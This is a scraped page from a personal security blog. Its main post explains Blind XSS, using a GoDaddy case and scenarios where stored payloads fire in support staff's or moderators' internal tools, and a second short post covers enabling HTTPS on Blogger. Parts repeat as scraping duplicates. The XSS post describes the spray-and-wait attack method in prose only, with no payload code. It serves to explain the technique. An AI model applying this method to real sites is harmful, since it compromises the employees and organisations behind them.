Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
The Blind XSS GoDaddy Vulnerability
There was a recent article about a GoDaddy vulnerability deemed Blind XSS. Now many of you may have heard of Blind SQL Injection, where an attacker can extract answers and data out of a database not by straight-forward SQL select statements, but instead essentially based on the website's response to true/false questions/queries. It can be a slow and painful process, sometimes extracting data one bit at a time, but none-the-less effective if you end up extracting the data you wanted.
Blind XSS, on the other hand, is nothing of the like. The term they're referring to here is essentially a ticking time bomb. They dump malicious XSS payloads anywhere and everywhere, hoping that somewhere, somehow, someday a website/application will open that payload in a browser from a vulnerable website. That might be difficult to make sense of at first, but I'll give some better examples below to illustrate what they mean. I have discussed this topic a little bit before in my prior blog XSS is worse than you think.
Now normally as an attacker you probably submit a simple test alert textbox XSS payload into a textbox, parameter, etc. and hope for immediate feedback. You either see reflected XSS returned in the HTTP response immediately, or you see your stored XSS show up on a different page when the website loads your content. But imagine another interesting method of attack. Why not just spam EVERY SINGLE input field like textboxes, query string parameters, etc. on a website with your desired payload (something that makes a callback and hooks a browser), then instead of checking for immediate feedback, just sit back and wait for the callback to occur. This callback could occur immediately, but it's also possible it takes hours, days, or even weeks for the callback to occur. Why?
What if you one of your payloads actually stuck. Perhaps it was a stored XSS vulnerability and it got stored into a database table. Here's a few examples I image this could apply
1.) What if your payload got saved into your Security Question / Answer field. The XSS payload does not work when you view your my account area because that public facing site was well-coded. But imagine you make a phone call to customer support, and the first thing customer support does it open your my account from their Internal, less secure Intranet website to validate your security question. This less secure Intranet site opens that same Security Question / Answer field and suddenly your payload is delivered to the customer support rep! And you see your callback come in and hook their browser. Blind XSS.
2.) What if your payload got saved into the product review comments on an ecommerce site like Amazon. Your payload does not work when the comment is displayed on the Amazon product page because that public portion is well-coded. But comments can go through an actual manual-review process by employees in order to validate your comment isn't spam, etc. Imagine the employee opens up your comment from their less secure Intranet website to approve or disapprove it. When they open up your comment in their less secure Intranet app that isn't checking for XSS, your malicious payload is delivered to that employee's browser. Hooked. Blind XSS.
It's a crap shoot. It's spray and pray. But it can be effective. It works for email spammers & phishers. They blast out their "payload", a malicious email, to thousands of email accounts knowing that a small handful will actually have their payload delivered and gain successful compromise of the victim. They weren't sure who the victim would but it doesn't matter, they're now the victim.
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Blind XSS, on the other hand, is nothing of the like. The term they're referring to here is essentially a ticking time bomb. They dump malicious XSS payloads anywhere and everywhere, hoping that somewhere, somehow, someday a website/application will open that payload in a browser from a vulnerable website. That might be difficult to make sense of at first, but I'll give some better examples below to illustrate what they mean. I have discussed this topic a little bit before in my prior blog XSS is worse than you think.
Now normally as an attacker you probably submit a simple test alert textbox XSS payload into a textbox, parameter, etc. and hope for immediate feedback. You either see reflected XSS returned in the HTTP response immediately, or you see your stored XSS show up on a different page when the website loads your content. But imagine another interesting method of attack. Why not just spam EVERY SINGLE input field like textboxes, query string parameters, etc. on a website with your desired payload (something that makes a callback and hooks a browser), then instead of checking for immediate feedback, just sit back and wait for the callback to occur. This callback could occur immediately, but it's also possible it takes hours, days, or even weeks for the callback to occur. Why?
What if you one of your payloads actually stuck. Perhaps it was a stored XSS vulnerability and it got stored into a database table. Here's a few examples I image this could apply
1.) What if your payload got saved into your Security Question / Answer field. The XSS payload does not work when you view your my account area because that public facing site was well-coded. But imagine you make a phone call to customer support, and the first thing customer support does it open your my account from their Internal, less secure Intranet website to validate your security question. This less secure Intranet site opens that same Security Question / Answer field and suddenly your payload is delivered to the customer support rep! And you see your callback come in and hook their browser. Blind XSS.
2.) What if your payload got saved into the product review comments on an ecommerce site like Amazon. Your payload does not work when the comment is displayed on the Amazon product page because that public portion is well-coded. But comments can go through an actual manual-review process by employees in order to validate your comment isn't spam, etc. Imagine the employee opens up your comment from their less secure Intranet website to approve or disapprove it. When they open up your comment in their less secure Intranet app that isn't checking for XSS, your malicious payload is delivered to that employee's browser. Hooked. Blind XSS.
It's a crap shoot. It's spray and pray. But it can be effective. It works for email spammers & phishers. They blast out their "payload", a malicious email, to thousands of email accounts knowing that a small handful will actually have their payload delivered and gain successful compromise of the victim. They weren't sure who the victim would but it doesn't matter, they're now the victim.
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
How To Enable HTTPS on your blogger/blogspot Blog
It was exciting to see the recent announcement that Google would be expanding Free HTTPS to all blogger/blogspot blogs. The only catch is, YOU HAVE TO ENABLE IT!. Here's the steps I took to enable a redirect from HTTP to HTTPS on this blog.
Go under settings -> basic
Under the HTTPS header there is an HTTPS redirect drop down list that you can change from No to Yes.
Now when you navigate to your blog you will see it auto-redirect to the HTTPS version
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Go under settings -> basic
Under the HTTPS header there is an HTTPS redirect drop down list that you can change from No to Yes.
Now when you navigate to your blog you will see it auto-redirect to the HTTPS version
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Subscribe to:
Posts (Atom)